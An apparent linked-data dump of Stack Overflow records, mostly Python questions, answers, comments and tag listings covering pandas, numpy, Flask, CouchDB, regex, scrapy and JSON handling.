type: AnsweredQuestion
score: 0
tagged with: list
answer count: 2
linked to: http://stackoverflow.com/q/26643043
has comment: http://stackoverflow.com/comment/80879269
has comment: http://stackoverflow.com/comment/80877187
has comment: http://stackoverflow.com/comment/80877714
downvote count: 1
has comment: http://stackoverflow.com/comment/80877178
has answer: http://stackoverflow.com/a/46964740
favorite count: 0
has comment: http://stackoverflow.com/comment/80877142
has comment: http://stackoverflow.com/comment/80877194

http://stackoverflow.com/q/46996356
score: 7
upvote count: 7
answer count: 1
has answer: http://stackoverflow.com/a/47017243
tagged with: couchdb
favorite count: 0
has body: I have downloaded Twitter data on local couchdb server. And it was saved as json files. I use this code to enter the database in python. 1st import libraries import couchdb import pandas as pd from couchdbkit import Server import json import cloudant next connect to server and choose the database I want to enter. dbname = couchdb.Server('http://localhost:5984') db = dbname['Test'] server = couchdb.Server('http://localhost:5984') I could create and delete databases with python however, I don't know how I can put the data from the server to jupyter notebook. I would like to get the text and time with retweets to analyze it. I can only see one JSON file from python. If possible I would like to add the all JSON data in the db to pandas dataframe in python so I can analyze it in R too. The question is: How to query the documents and load them into pandas dataframe?
type: Question
linked to: http://stackoverflow.com/q/37050231
tagged with: http://stackoverflow.com/tag/csv
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/80959861
tagged with: python
has comment: http://stackoverflow.com/comment/80955256
has title: How to query the documents from couchdb and load them into pandas dataframe?
tagged with: nosql
type: AnsweredQuestion
downvote count: 0
accepted answer: http://stackoverflow.com/a/47017243

http://stackoverflow.com/comment/80872006
has text: @coldspeed I shouldn't do math in public. I fixed it now, and it seems as though your answer works.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46962054

http://stackoverflow.com/comment/80992247
score: 0
type: QuestionComment
has text: @PrakashPalnati im using elementary os
comment on: http://stackoverflow.com/q/47014566
type: Comment

http://stackoverflow.com/comment/80837274
score: 0
type: Comment
has text: @Logster - in your post it looked like you defined coins, `coins = 0`, before calling the function. I assumed you would still do that.
type: AnswerComment
comment on: http://stackoverflow.com/a/46940603

http://stackoverflow.com/comment/80833053
type: QuestionComment
has text: Neither Python nor Djinja templates have a `===` operator.
comment on: http://stackoverflow.com/q/46942687
score: 0
type: Comment

http://stackoverflow.com/comment/80950154
comment on: http://stackoverflow.com/a/47001627
type: Comment
score: 2
type: AnswerComment
has text: I think we can get rid of `lambda` in this case: `df[cols] = df[cols].apply(pd.to_numeric, errors='corece')`

http://stackoverflow.com/q/46914572
tagged with: static-methods
type: AnsweredQuestion
upvote count: 1
score: 1
tagged with: python
has title: is there an advantage in defining a method as static whenever possible in Python?
has answer: http://stackoverflow.com/a/46914706
favorite count: 0
type: Question
tagged with: coding-style
downvote count: 0
has body: PyCharm gives me a hint this method may be static. Well, I know. But should I? In C++ I would have defined a method static only if I had a good reason for that, mainly wanting to use the method not with any instance, or having a common data for all instances, like counters. What is the case in Python? An answer I found says it saves memory, but I don't think the amount is such it should affect the coding style.
answer count: 1
accepted answer: http://stackoverflow.com/a/46914706

http://stackoverflow.com/comment/80862497
has text: @AKSW I mean better in terms of scalability. If I were to work with millions of triples what would be a suitable RDF library/framework?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46955734
type: QuestionComment

http://stackoverflow.com/a/46943505
answers question: http://stackoverflow.com/q/46943261
score: 1
type: Answer
downvote count: 0
upvote count: 1
has body: You have not only to "call Python from swift", but to make it on the client, you have to embedd all the Python runtime and the OpenCV library with your application, run the Python app in a different application, and then work on making this call - which will be an interprocess call. Unless you can, from swift, instantiate an internal Python interpreter in native code (which is possible from C/C++ code, but I am not sure if it can done from Swift) - then you are spared from the separate process, but still will need to bundle everything. However, if you can afford for the Python app to be run server side, then it should be trivial: you can use a microframework (like Flask), for example, to wrap your app functionality into a simple view. Your app would them just make an HTTP post request, send the image, and get the resulting text as a response.

http://stackoverflow.com/q/47017989
score: -2
favorite count: 0
tagged with: post
has comment: http://stackoverflow.com/comment/80983061
tagged with: fetch
has answer: http://stackoverflow.com/a/47018316
type: Question
upvote count: 0
downvote count: 2
has answer: http://stackoverflow.com/a/47018109
type: UnansweredQuestion
tagged with: python
tagged with: request
has comment: http://stackoverflow.com/comment/80982378
has answer: http://stackoverflow.com/a/47019070
has comment: http://stackoverflow.com/comment/80982427
has title: Python - How to process my JSON FormData on the backend in Python?
has body: I'm a complete beginner and i'm little bit lost. Here's my application: on the front-end i have a react form and i use fetch to send my form data to my backend: fetch('/process.py', { method: 'POST', headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', }, body: JSON.stringify({data}) }) on the backend i have a simple file python file, i don't how to process the data that i just received
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/80983074
answer count: 3

http://stackoverflow.com/q/46992823
has comment: http://stackoverflow.com/comment/80932160
downvote count: 1
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/80932082
has body: I currently have a son file created called "newsuser.json". I am trying to get a users name to be saved to the son file each time a new user is added. I can currently get a user to be saved, but when another user is added the previous user is overwritten, resulting in only having one user stored. I am trying to get me JSON file to look like this: { "users":[ { "name":"test1" }, { "name":"test2" } ] } Instead my output looks like: {"name": "test1"} Here is my code for creating a JSON object and saving to "newsuser.json" import json userName = form.getvalue('userName') newDict = {"name": "test1"} with open("cgi-bin/newsuser.json") as f: data = json.load(f) data.update(newDict) with open("cgi-bin/newsuser.json", "w") as f: json.dump(data, f) Does anyone have ideas how I can get a JSON file to print my objects under "user" and not overwrite each entry?
favorite count: 0
type: Question
has title: Adding values to JSON file in python
upvote count: 0
has comment: http://stackoverflow.com/comment/80932111
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80935737
answer count: 1
has answer: http://stackoverflow.com/a/47050285
has comment: http://stackoverflow.com/comment/80932097
linked to: http://stackoverflow.com/q/12943819
has comment: http://stackoverflow.com/comment/80935765
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/comment/80832838
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46941683
has text: @Mokshyam I solved my problem. All comments that is containing the comma has Quotes... I couldn't see it in python prompt and LibreOffice. I don't know why but only comma containg comments has quotes. Please forgive my stupidity.

http://stackoverflow.com/comment/81071516
score: 0
type: Comment
type: AnswerComment
has text: this gets rid of all line breaks. I only want to get rid of the ones specified in the regex = those line breaks which break an english sentence. Other line breaks are fine. I have now modified the question to reinforce this. – Tim 1 hour ago
comment on: http://stackoverflow.com/a/47059422

http://stackoverflow.com/q/46925776
has body: In 'tf.metrics', multiple streaming metrics are defined which retun both a Tensor and an update_op. Some of them, tf.metrics.auc for example, compute internally local variables (true_positives, true_negatives, false_positives and false_negatives in the case of auc), see here. Let's say I want to monitor auc as well as all the four true/false-negatives/positives metrics. I can create five update_op using tf.metrics.auc, tf.metrics.true_positive, etc. However, in this case, each true/false-negatives/positives will be computed twice... Is there a way to get the local variables computed in auc in order to avoid to recompute multiple times the same metrics and thus to save computation time?
upvote count: 1
tagged with: python
answer count: 0
score: 1
has title: Can we mutualize the streaming KPIs in tensorflow?
downvote count: 0
tagged with: tensorflow
favorite count: 0
type: Question
type: UnansweredQuestion

http://stackoverflow.com/q/46939601
tagged with: regex
duplicate of: http://stackoverflow.com/q/1732348
has answer: http://stackoverflow.com/a/46939710
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80826693
upvote count: 0
type: UnansweredQuestion
tagged with: python
downvote count: 1
has body: I have text below and I am matching group 1,2, and 3 in python regex just fine until I want to match 'me' which is between 'srcuser: ' and html line break tag. my regex is seqno: (\d+).+?src: (\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}).+?dst: (\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}).+?srcuser: (.+)?[html line break her] domain: 1&lt;br/&gt;receive_time: 2017/10/25 13:47:19&lt;br/&gt;serial: 00790100000&lt;br/&gt;seqno: 7198725&lt;br/&gt;actionflags: 0x0&lt;br/&gt;type: THREAT&lt;br/&gt;subtype: spyware&lt;br/&gt;config_ver: 1&lt;br/&gt;time_generated: 2017/10/25 13:47:19&lt;br/&gt;src: 1.1.1.1&lt;br/&gt;dst: 2.2.2.2&lt;br/&gt;natsrc: 1.1.1.1&lt;br/&gt;natdst: 2.2.2.2&lt;br/&gt;rule: to INTERNET&lt;br/&gt;srcuser: me&lt;br/&gt;blabla Please advise
linked to: http://stackoverflow.com/q/1732348
has comment: http://stackoverflow.com/comment/80826318
has comment: http://stackoverflow.com/comment/80826479
has title: regular expression to match group ending with html line break
answer count: 1
score: -1

http://stackoverflow.com/q/46958377
type: Question
tagged with: numpy
has body: I am trying to add zeros to certain variables in order to make them all the same length (100,) and put them in a masked table. It works fine when concatenate zeros to my variable propNum that is a single number but creates a (2,) length array when I try it with my variable time_04_window that has 62 values. Code that works: propNum = 100 table_propNum = np.concatenate([[propNum], np.zeros(len(x)-1, dtype=float)]) Code that is not working: time_04_window = [ 20029625.91881907 20029626.91881907 20029627.91881907 20029628.91881907 20029629.91881907 20029630.91881907 20029631.91881907 20029632.91881907 20029633.91881907 20029634.91881907 20029635.91881907 20029636.91881907 20029637.91881907 20029638.91881907 20029639.91881907 20029640.91881907 20029641.91881907 20029642.91881907 20029643.91881907 20029644.91881907 20029645.91881907 20029646.91881907 20029647.91881907 20029648.91881907 20029649.91881907 20029650.91881907 20029651.91881907 20029652.91881907 20029653.91881907 20029654.91881907 20029655.91881907 20029656.91881907 20029657.91881907 20029658.91881907 20029659.91881907 20029660.91881907 20029661.91881907 20029662.91881907 20029663.91881907 20029664.91881907 20029665.91881907 20029666.91881907 20029667.91881907 20029668.91881907 20029669.91881907 20029670.91881907 20029671.91881907 20029672.91881907 20029673.91881907 20029674.91881907 20029675.91881907 20029676.91881907 20029677.91881907 20029678.91881907 20029679.91881907 20029680.91881907 20029681.91881907 20029682.91881907 20029683.91881907 20029684.91881907 20029685.91881907 20029686.91881907] table_time_04_window = np.concatenate([[time_04_window], np.zeros(len(x)-len(time_04_window), dtype='i')]) len(x) = 100 So, time_04_window is an array with length 62 and all floats, and I want to add 38 zeros to the array to give it a length of 100. At first it was running for table_time_04_window and now it is giving me ValueError: all the input arrays must have same number of dimension
has answer: http://stackoverflow.com/a/46959320
upvote count: 2
tagged with: arrays
tagged with: python
score: 2
type: AnsweredQuestion
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/80864309
answer count: 1
downvote count: 0
has title: np.concatenate() 2D array instead of 1D
favorite count: 0
accepted answer: http://stackoverflow.com/a/46959320

http://stackoverflow.com/q/46978393
type: UnansweredQuestion
score: -2
downvote count: 2
answer count: 1
tagged with: python
tagged with: flask
linked to: http://stackoverflow.com/q/20646822
has body: I am developing an android app with Python Flask.I am need to transfer image links from server to android.How is that possible?I read about static folder but i think this is not the best solution. On apache you can simply write: /images/image.jpg and the server will give you the image.Is it possible in flask too?
has title: Transfer image links from flask to android app
tagged with: android
has answer: http://stackoverflow.com/a/46978614
duplicate of: http://stackoverflow.com/q/20646822
favorite count: 0
type: Question
upvote count: 0

http://stackoverflow.com/q/46921085
tagged with: string
linked to: http://stackoverflow.com/q/8081569
favorite count: 0
has answer: http://stackoverflow.com/a/46921130
has answer: http://stackoverflow.com/a/46921106
tagged with: split
answer count: 4
type: Question
upvote count: 2
has answer: http://stackoverflow.com/a/46921183
score: 0
downvote count: 2
has body: I've a string like: 10-24-2017 10:09:18.218 - my_test - INFO - My Automation version 0.0.1 And I wish to split the string by the token " - " (Note the leading and lagging white-spaces). IOW, the above string should be split as: {'10-24-2017 10:09:18.218', 'my_test', 'INFO', 'My Automation version 0.0.1'} If I just split by '-', then the date string will also be split which I don't wish to do. Can someone point me in the right direction? Thanks
duplicate of: http://stackoverflow.com/q/8081569
tagged with: python
type: UnansweredQuestion
has title: Split string by a string token instead of a char token in Python
has answer: http://stackoverflow.com/a/46921118
has comment: http://stackoverflow.com/comment/80789747

http://stackoverflow.com/a/47023608
answers question: http://stackoverflow.com/q/47022697
type: Answer
has comment: http://stackoverflow.com/comment/101422515
accepted answer of: http://stackoverflow.com/q/47022697
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: You can use pickle._load() instead of .load() to force using a pure-Python implementation and get a more useful traceback. If the faulty part is in numpy's code though, you're still left to using a C debugger or tracing the source code by hand... ...Or using numpy pickle format spec on the part that is fed to numpy's unpickling routine and try to guess what is wrong with it! pickletools.dis() does this for you! It prints a disassembly of pickle data, complete with offsets. Though you might still need the spec to find out the nature of the violation. That said, 3.4. Model persistence — scikit-learn 0.19.1 documentation does warn that loading model data in another version and/or architecture is not supported and suggests saving source material instead.

http://stackoverflow.com/q/46988914
has comment: http://stackoverflow.com/comment/80925396
has answer: http://stackoverflow.com/a/46989004
tagged with: python
score: -2
has comment: http://stackoverflow.com/comment/80924316
has comment: http://stackoverflow.com/comment/80924325
has body: I have written a scrip that requests a URL, if the response is is 'CAPCHA_NOT_READY' then the script should sleep for 5 seconds and then request the URL again. If the response starts with 'OK' then the scrip should continue. I am not sure at how I set up this loop. Thanks, Piers. r = requests.get(url) print("Sending Captcha To 2captcha") print("Captcha ID = "+(r.text)) time.sleep(5) url2 = "http://2captcha.com/res.php?key="+api+"action=get&amp;id="+(r.text)[3:] print(url2) r = requests.get(url2) print(r.text) if r.text == "CAPCHA_NOT_READY": time.sleep(5) r = requests.get(url2) print(r.text)
type: AnsweredQuestion
answer count: 2
downvote count: 3
has title: Python: Using if and else statements to loop
upvote count: 1
favorite count: 0
possible better answer: http://stackoverflow.com/a/46989019
has answer: http://stackoverflow.com/a/46989019
type: Question
accepted answer: http://stackoverflow.com/a/46989004

computer-vision
tags question: http://stackoverflow.com/q/47040854
tags question: http://stackoverflow.com/q/47015716
tags question: http://stackoverflow.com/q/46971769
tags question: http://stackoverflow.com/q/46980152
type: Tag
tag name: computer-vision
tags question: http://stackoverflow.com/q/46972906

http://stackoverflow.com/a/46957337
has comment: http://stackoverflow.com/comment/80872722
has comment: http://stackoverflow.com/comment/80883170
type: AcceptedAnswer
has body: From the example URL given, it's not exactly obvious what the values should be and how extraction should generalize for page containing more records. So I tried a different page with multiple records, let's see if the result gets you what you need. Here's ready to run code: # -*- coding: utf-8 -*- import scrapy class PhenolExplorerSpider(scrapy.Spider): name = 'phenol-explorer' start_urls = ['http://phenol-explorer.eu/contents/food/29?utf8=/'] def parse(self, response): chromatography = response.xpath('//div[@id="chromatography"]') title = chromatography.xpath('.//tr/th[@class="outer"]/strong/a/text()').extract_first() for row in chromatography.xpath('.//tr[not(@class="header")]'): class_ = row.xpath('./td[@rowspan]/text()').extract_first() if not class_: class_ = row.xpath('./preceding-sibling::tr[td[@rowspan]][1]/td[@rowspan]/text()').extract_first() subclass = row.xpath('./td[not(@rowspan)][1]/a/text()').extract_first() #content = row.xpath('./td[not(@rowspan)][2]/a[2]/text()').extract_first() content = row.xpath('./td[not(@rowspan)][2]/text()').extract_first() yield { 'title': title.strip(), 'class': class_.strip(), 'subclass': subclass.strip(), 'content': content.strip(), } Basically, it iterates over individual rows of the table and extracts the data from corresponding fields, yielding an item once complete information is collected.
has comment: http://stackoverflow.com/comment/80878621
has comment: http://stackoverflow.com/comment/80866718
has comment: http://stackoverflow.com/comment/80867622
accepted answer of: http://stackoverflow.com/q/46951527
has comment: http://stackoverflow.com/comment/80865743
has comment: http://stackoverflow.com/comment/80862858
type: Answer
has comment: http://stackoverflow.com/comment/80892324
answers question: http://stackoverflow.com/q/46951527
score: 0

http://stackoverflow.com/tag/csv
tags question: http://stackoverflow.com/q/46918393
tags question: http://stackoverflow.com/q/46977300
tags question: http://stackoverflow.com/q/46986560
tags question: http://stackoverflow.com/q/46999965
tags question: http://stackoverflow.com/q/46942622
tags question: http://stackoverflow.com/q/47048846
type: Tag
tags question: http://stackoverflow.com/q/47053796
tags question: http://stackoverflow.com/q/47062495
tags question: http://stackoverflow.com/q/46934884
tags question: http://stackoverflow.com/q/47031345
tags question: http://stackoverflow.com/q/46968044
tags question: http://stackoverflow.com/q/47024033
tags question: http://stackoverflow.com/q/46951433
tags question: http://stackoverflow.com/q/47058038
tags question: http://stackoverflow.com/q/46943126
tags question: http://stackoverflow.com/q/46998987
tags question: http://stackoverflow.com/q/47061136
tags question: http://stackoverflow.com/q/47044505
tags question: http://stackoverflow.com/q/46950275
tags question: http://stackoverflow.com/q/46965192
tags question: http://stackoverflow.com/q/47019991
tags question: http://stackoverflow.com/q/46987330
tags question: http://stackoverflow.com/q/46998062
tags question: http://stackoverflow.com/q/47008691
tags question: http://stackoverflow.com/q/47042399
tags question: http://stackoverflow.com/q/47003574
tags question: http://stackoverflow.com/q/47040122
tags question: http://stackoverflow.com/q/46952594
tags question: http://stackoverflow.com/q/46921008
tags question: http://stackoverflow.com/q/47024665
tag name: csv
tags question: http://stackoverflow.com/q/47002129
tags question: http://stackoverflow.com/q/46963246
tags question: http://stackoverflow.com/q/46913435
tags question: http://stackoverflow.com/q/46997543
tags question: http://stackoverflow.com/q/46916581
tags question: http://stackoverflow.com/q/47062551
tags question: http://stackoverflow.com/q/46943337
tags question: http://stackoverflow.com/q/46953706
tags question: http://stackoverflow.com/q/47026335
tags question: http://stackoverflow.com/q/47023138
tags question: http://stackoverflow.com/q/46943100
tags question: http://stackoverflow.com/q/47016838
tags question: http://stackoverflow.com/q/47051028
tags question: http://stackoverflow.com/q/47062687
tags question: http://stackoverflow.com/q/46968440
tags question: http://stackoverflow.com/q/47063545
tags question: http://stackoverflow.com/q/46998113
tags question: http://stackoverflow.com/q/47014330
tags question: http://stackoverflow.com/q/46961325
tags question: http://stackoverflow.com/q/46940608
tags question: http://stackoverflow.com/q/47044375
tags question: http://stackoverflow.com/q/46942717
tags question: http://stackoverflow.com/q/46966083
tags question: http://stackoverflow.com/q/47044139
tags question: http://stackoverflow.com/q/46988409
tags question: http://stackoverflow.com/q/46911990
tags question: http://stackoverflow.com/q/46964609
tags question: http://stackoverflow.com/q/46991822
tags question: http://stackoverflow.com/q/46995761
tags question: http://stackoverflow.com/q/46936320
tags question: http://stackoverflow.com/q/46964167
tags question: http://stackoverflow.com/q/46996200
tags question: http://stackoverflow.com/q/47053275
tags question: http://stackoverflow.com/q/46996356
tags question: http://stackoverflow.com/q/47048098
tags question: http://stackoverflow.com/q/46994492
tags question: http://stackoverflow.com/q/46996489
tags question: http://stackoverflow.com/q/46944721
tags question: http://stackoverflow.com/q/47042498
tags question: http://stackoverflow.com/q/47026896
tags question: http://stackoverflow.com/q/47025645
tags question: http://stackoverflow.com/q/47041123
tags question: http://stackoverflow.com/q/47014748
tags question: http://stackoverflow.com/q/46959107
tags question: http://stackoverflow.com/q/47034894
tags question: http://stackoverflow.com/q/47039207
tags question: http://stackoverflow.com/q/46940226
tags question: http://stackoverflow.com/q/46959688

http://stackoverflow.com/comment/81040871
score: 0
type: Comment
type: QuestionComment
has text: You must execute: `pyuic5 your_design.ui -o your_file.py -x`
comment on: http://stackoverflow.com/q/47046823

http://stackoverflow.com/a/46992442
type: Answer
answers question: http://stackoverflow.com/q/46991735
has body: I can replicate your z with In [223]: np.stack([np.tile([x],(1,3)).reshape(3,3).T,np.tile([y],(3,1))],2) Out[223]: array([[[ 0, 10], [ 0, 11], [ 0, 12]], [[ 1, 10], [ 1, 11], [ 1, 12]], [[ 2, 10], [ 2, 11], [ 2, 12]]]) The tile pieces look like In [224]: np.tile([y],(3,1)) Out[224]: array([[10, 11, 12], [10, 11, 12], [10, 11, 12]]) In [225]: np.tile([x],(1,3)).reshape(3,3).T Out[225]: array([[0, 0, 0], [1, 1, 1], [2, 2, 2]]) I might be able clean up the 2nd one. But the basic idea is to replicate the inputs in such a way that stack can combine them into the desired (n,n,2) array. Once this is understood, it shouldn't be hard to extend things to 3d and up. But I haven't fully processed your intentions. Possibly simpler (and repeat is faster than tile): np.stack([np.repeat(x,3).reshape(3,3), np.repeat(y,3).reshape(3,3).T], 2) With more dimensions the transpose might require refinement. Same thing with meshgrid (it probably uses repeat or tile internally: In [232]: np.stack(np.meshgrid(x,y, indexing='ij'),2) Out[232]: array([[[ 0, 10], [ 0, 11], [ 0, 12]], [[ 1, 10], [ 1, 11], [ 1, 12]], [[ 2, 10], [ 2, 11], [ 2, 12]]]) In higher dimensions: In [237]: np.stack(np.meshgrid([1,2], [10,20,30], [100,200,300,400], indexing='ij'), 3).sum(axis=-1) Out[237]: array([[[111, 211, 311, 411], [121, 221, 321, 421], [131, 231, 331, 431]], [[112, 212, 312, 412], [122, 222, 322, 422], [132, 232, 332, 432]]])
score: 1
type: AcceptedAnswer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/46991735
downvote count: 0

http://stackoverflow.com/comment/80808345
type: Comment
comment on: http://stackoverflow.com/a/46930585
type: AnswerComment
score: 0
has text: @DanielY Maybe you were meant to `sum-reduce` the first axis of `B`? Then, use : `np.tensordot(A,B,axes=((2),(0)))`?

http://stackoverflow.com/comment/81031164
type: Comment
has text: Why do you think you can try different credentials for the same connection? Is the server really expecting multiple credentials?
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/47041575

http://stackoverflow.com/comment/90638300
comment on: http://stackoverflow.com/a/51153494
has text: Thanks for this suggestion, however Dask simply returns `ValueError: Concatenated DataFrames of different lengths`
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/a/78449053
score: 0
answers question: http://stackoverflow.com/q/46947510
has body: We have the same issue, we figured that the URL we have some issue. We have extra slash in the URL we are hitting. Even though in spring boot its getting to correct controller having some extra character character also but Query params are not working
type: Answer

http://stackoverflow.com/comment/80811615
type: Comment
score: 0
type: AnswerComment
has text: @KaushikNP can you please explain the part `enumerate(list1)` does here
comment on: http://stackoverflow.com/a/46908244

pre-trained-model
tag name: pre-trained-model
tags question: http://stackoverflow.com/q/47041724
type: Tag

http://stackoverflow.com/a/47002087
answers question: http://stackoverflow.com/q/47001912
type: Answer
score: 0
has body: s = '1~Hydrogen~H~1.008~1~1|2~Helium~He~4.002~18~1|3~Lithium~Li~6.94~1~2|4~Beryllium~ Be~9.0122~2~2|' [i.split('~') for i in s.split('|') if i] #Output [['1', 'Hydrogen', 'H', '1.008', '1', '1'], ['2', 'Helium', 'He', '4.002', '18', '1'], ['3', 'Lithium', 'Li', '6.94', '1', '2'], ['4', 'Beryllium', ' Be', '9.0122', '2', '2']]

http://stackoverflow.com/comment/81041996
type: QuestionComment
score: 0
has text: Do you need to handle overlapping sequence? Seems like something for numpy.
comment on: http://stackoverflow.com/q/47047263
type: Comment

http://stackoverflow.com/a/46938229
type: AcceptedAnswer
downvote count: 0
upvote count: 1
score: 1
has body: You're missing the "size" argument that will give the shape of the random values to be generated. df_members[df_members['bd'] == -99999] = np.random.normal(bd_mean, bd_sd,len(df_members[df_members['bd'] == -99999])) will give you what you want
answers question: http://stackoverflow.com/q/46938085
type: Answer
accepted answer of: http://stackoverflow.com/q/46938085

http://stackoverflow.com/comment/81041104
type: AnswerComment
comment on: http://stackoverflow.com/a/47046822
type: Comment
score: 0
has text: I don't think so. I got this example directly from the [matplotlib site](https://matplotlib.org/examples/pylab_examples/barchart_demo.html).

http://stackoverflow.com/a/46994616
accepted answer of: http://stackoverflow.com/q/46991882
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80936314
has body: If you read the docs, it doesn't seem to give any complex querying examples. And when I went to the GitHub repo, I see that this was some developer's personal project that's been tested only up to WordPress 3.5 (4.9 is about to come out now) and the last commit seems to be 2 years ago. WordPress is written in PHP. I think the author just didn't go through the trouble of implementing the full features of WP query in Python. And I'd use the WordPress Rest API if possible. That being said, since it does let you retrieve by post type, you can do the filter yourself if the returned post data contains category info.
score: 1
type: Answer
answers question: http://stackoverflow.com/q/46991882
downvote count: 0

http://stackoverflow.com/comment/81029051
has text: Thanks! I understand your point of view here. I should eliminate the while loop here cause it doesn't guarantee I can guarantee the route
type: AnswerComment
comment on: http://stackoverflow.com/a/47040903
score: 0
type: Comment

http://stackoverflow.com/a/46959553
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80867303
accepted answer of: http://stackoverflow.com/q/46958721
has comment: http://stackoverflow.com/comment/80869699
answers question: http://stackoverflow.com/q/46958721
has body: Ultimate task is to delete the parent in the given example.(Application - root, first,seond - node, third-inner_nodes) ) 1) load your xml(and find the node you consider here as 'Application') 2) get the list of inner_nodes(tree->nodes->inner_nodes) for your tree 3) get all the inner_nodes(nodes with name 'third' here) 4) remove the immediate children of root - 'Applicaiton' 5) Append all the inner_nodes to your root! yourxmlfile.txt <?xml version="1.0" encoding="UTF-8"?>\n \n <first/>\n \n <third/>\n <third/>\n <third/>\n \n And you can read your xml file withe tree.parse() >>> import xml.etree.ElementTree as etree >>> root=etree.parse('yourxmlfile.xml') >>> etree.tostring(root) b' \n <first />\n \n <third />\n <third />\n <third />\n \n ' >>> inner_nodes=[node.getchildren() for node in root.getchildren()] >>> print(inner_nodes) [[], [<Element 'third' at 0x10c272818>, <Element 'third' at 0x10c2727c8>, <Element 'third' at 0x10c272778>]] >>> for node in root.getchildren():root.remove(node) ... >>> etree.tostring(root) b' \n ' >>> [[root.append(c) for c in child] for child in filter(None,inner_nodes)] None, None, None >>> etree.tostring(root) b' \n <third />\n <third />\n <third />\n '
score: 1
upvote count: 1
type: Answer

http://stackoverflow.com/q/46918600
type: AnsweredQuestion
has title: Loop through list not quite responding as expected
tagged with: dataframe
tagged with: loops
favorite count: 0
type: Question
has body: I have some code that is supposed to go through the columns of a dataframe and rename some of them to something else. Simple loop, but it isn't coming out quite as expected. Here is what I think is the relevant code: Headers = df.columns.values.tolist() print(Headers) for i in range(24): df = df.rename(columns = {Headers[i+4]: ('b'+ str(32-i))}) print(i, Headers[i+4], 'b'+ str(32 - i)) Headers = df.columns.values.tolist() print(Headers) And here is the output: ['Lbl #', 'Value', 'Time', 'Name', 'b0', 'b1', 'b2', 'b3', 'b4', 'b5', 'b6', 'b7', 'b8', 'b9', 'b10', 'b11', 'b12', 'b13', 'b14', 'b15', 'b16', 'b17', 'b18', 'b19', 'b20', 'b21', 'b22', 'b23'] 0 b0 b32 1 b1 b31 2 b2 b30 3 b3 b29 4 b4 b28 5 b5 b27 6 b6 b26 7 b7 b25 8 b8 b24 9 b9 b23 10 b10 b22 11 b11 b21 12 b12 b20 13 b13 b19 14 b14 b18 15 b15 b17 16 b16 b16 17 b17 b15 18 b18 b14 19 b19 b13 20 b20 b12 21 b21 b11 22 b22 b10 23 b23 b9 ['Lbl #', 'Value', 'Time', 'Name', 'b32', 'b31', 'b30', 'b29', 'b28', 'b27', 'b26', 'b25', 'b24', 'b9', 'b10', 'b11', 'b12', 'b13', 'b14', 'b15', 'b16', 'b15', 'b14', 'b13', 'b12', 'b11', 'b10', 'b9'] The goal here is to change the b0:b23 to b32:b9, which will then correspond to the data being recorded. If you look at the second list of column names, the column rename gives an unexpected result. Starting at about the Index[13:19], the rename function doesn't appear to do anything? Thanks
score: 0
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80784782
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/80784855
accepted answer: http://stackoverflow.com/a/46919005
tagged with: pandas
has answer: http://stackoverflow.com/a/46919005

http://stackoverflow.com/q/46989912
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80954484
tagged with: python
tagged with: flask
has body: This is a code in css background-image: url( {{ url_for('static', filename = 'background.jpg') }} ) ; And the path for static is "/Users/gengruijie/Desktop/未命名文件夹/OneDrive/学习/cs/课外/Github/AutoGrading/sample". So it will give me a error: Traceback (most recent call last): File "/Users/gengruijie/anaconda/lib/python2.7/site-packages/flask/app.py", line 2000, in __call__ return self.wsgi_app(environ, start_response) File "/Users/gengruijie/anaconda/lib/python2.7/site-packages/flask/app.py", line 1991, in wsgi_app response = self.make_response(self.handle_exception(e)) File "/Users/gengruijie/anaconda/lib/python2.7/site-packages/flask/app.py", line 1567, in handle_exception reraise(exc_type, exc_value, tb) File "/Users/gengruijie/anaconda/lib/python2.7/site-packages/flask/app.py", line 1988, in wsgi_app response = self.full_dispatch_request() File "/Users/gengruijie/anaconda/lib/python2.7/site-packages/flask/app.py", line 1641, in full_dispatch_request rv = self.handle_user_exception(e) File "/Users/gengruijie/anaconda/lib/python2.7/site-packages/flask/app.py", line 1544, in handle_user_exception reraise(exc_type, exc_value, tb) File "/Users/gengruijie/anaconda/lib/python2.7/site-packages/flask/app.py", line 1639, in full_dispatch_request rv = self.dispatch_request() File "/Users/gengruijie/anaconda/lib/python2.7/site-packages/flask/app.py", line 1625, in dispatch_request return self.view_functions[rule.endpoint](**req.view_args) File "/Users/gengruijie/anaconda/lib/python2.7/site-packages/flask/helpers.py", line 892, in send_static_file cache_timeout=cache_timeout) File "/Users/gengruijie/anaconda/lib/python2.7/site-packages/flask/helpers.py", line 633, in send_from_directory filename = safe_join(directory, filename) File "/Users/gengruijie/anaconda/lib/python2.7/site-packages/flask/helpers.py", line 603, in safe_join return os.path.join(directory, filename) File "/Users/gengruijie/anaconda/lib/python2.7/posixpath.py", line 73, in join path += '/' + b UnicodeDecodeErro…
has comment: http://stackoverflow.com/comment/80928140
has comment: http://stackoverflow.com/comment/80928153
answer count: 0
score: 1
downvote count: 0
upvote count: 1
tagged with: jinja2
has title: There are non ascii character in path of "static" folder in flask
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/2276200

http://stackoverflow.com/comment/80935973
score: 1
type: Comment
comment on: http://stackoverflow.com/a/46994467
type: AnswerComment
has text: @Dariush, I've wrote in my title *without mutating the initial input dictionary*, `kwargs = dict(kwargs)` will copy the passed dictionary, the initial dictionary remains unchanged. Your case with single key substitution is simple, my approach is for a more sophisticated cases

http://stackoverflow.com/q/46907584
